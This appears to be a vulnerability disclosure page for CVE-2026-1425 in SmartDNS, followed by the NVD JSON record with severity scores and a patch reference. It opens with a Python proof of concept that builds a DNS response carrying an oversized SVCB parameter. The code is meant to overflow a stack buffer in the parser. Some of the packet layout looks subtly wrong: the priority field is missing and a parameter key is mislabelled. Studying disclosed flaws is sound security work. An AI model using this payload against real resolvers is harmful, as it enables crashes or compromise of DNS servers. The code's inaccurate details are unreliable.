CVE-2026-1425

# CVE-2026-1425 PoC - SmartDNS SVCB Record Parser Buffer Overflow # This PoC demonstrates the vulnerability in SmartDNS DNS record parsing # Note: This is for educational and authorized testing purposes only import struct import socket def create_malicious_svcb_record(): """Construct a malicious SVCB record with oversized data""" # SVCB record type number record_type = 64 # SVCB # Construct malformed SVCB record data # Target domain name length field target_name = b'\x00' # reserved # SVCB parameters with oversized data to trigger overflow # This exceeds the buffer size in _dns_decode_SVCB_HTTPS svcb_params = b'\x00\x01' # parameter key (mandatory) # Large value that will overflow the stack buffer oversized_data = b'A' * 1024 # Exceeds expected buffer size svcb_params += struct.pack('>H', len(oversized_data)) + oversized_data svcb_record_data = target_name + svcb_params return svcb_record_data def send_malicious_dns_response(): """Send malicious DNS response to trigger vulnerability""" # DNS response structure transaction_id = b'\x00\x01' flags = b'\x81\x80' # Standard response questions = b'\x00\x01' answer_rrs = b'\x00\x01' authority_rrs = b'\x00\x00' additional_rrs = b'\x00\x00' # Query section query_name = b'\x07example\x03com\x00' query_type = struct.pack('>H', 64) # SVCB record type query_class = b'\x00\x01' # IN class # Answer section with malicious SVCB record answer_name = query_name answer_type = query_type answer_class = query_class answer_ttl = b'\x00\x00\x00\x00' malicious_data = create_malicious_svcb_record() answer_rdlength = struct.pack('>H', len(malicious_data)) answer_rdata = malicious_data dns_response = (transaction_id + flags + questions + answer_rrs + authority_rrs + additional_rrs + query_name + query_type + query_class + answer_name + answer_type + answer_class + answer_ttl + answer_rdlength + answer_rdata) return dns_response # Usage example if __name__ == "__main__": print("CVE-2026-1425 SmartDNS SVCB Parser Overflow PoC") print("Target: SmartDNS <= 47.1") print("Function: _dns_decode_SVCB_HTTPS in src/dns.c") print("\nConstructing malicious DNS response...") malicious_response = send_malicious_dns_response() print(f"Malicious response length: {len(malicious_response)} bytes") print("\nNote: This PoC requires network access to target SmartDNS server")

{"cve": {"id": "CVE-2026-1425", "sourceIdentifier": "[email protected]", "published": "2026-01-26T08:16:00.490", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in pymumu SmartDNS up to 47.1. This vulnerability affects the function _dns_decode_rr_head/_dns_decode_SVCB_HTTPS of the file src/dns.c of the component SVBC Record Parser. The manipulation results in stack-based buffer overflow. It is possible to launch the attack remotely. A high complexity level is associated with this attack. It is stated that the exploitability is difficult. The patch is identified as 2d57c4b4e1add9b4537aeb403f794a084727e1c8. Applying a patch is advised to resolve this issue."}, {"lang": "es", "value": "Se ha descubierto una falla de seguridad en pymumu SmartDNS hasta la versión 47.1. Esta vulnerabilidad afecta a la función _dns_decode_rr_head/_dns_decode_SVCB_HTTPS del archivo src/dns.c del componente SVBC Record Parser. La manipulación resulta en un desbordamiento de búfer basado en pila. Es posible lanzar el ataque de forma remota. Un alto nivel de complejidad está asociado con este ataque. Se afirma que la explotabilidad es difícil. El parche se identifica como 2d57c4b4e1add9b4537aeb403f794a084727e1c8. Se aconseja aplicar un parche para resolver este problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.2, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:P/A:P", "baseScore": 5.1, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 4.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://github.com/pymumu/smartdns/", "source": "[email protected]"}, {"url": "https://github.com/pymumu/smartdns/commit/2d57c4b4e1add9b4537aeb403f794a084727e1c8", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.342841", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.342841", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.736827", "source": "[email protected]"}]}}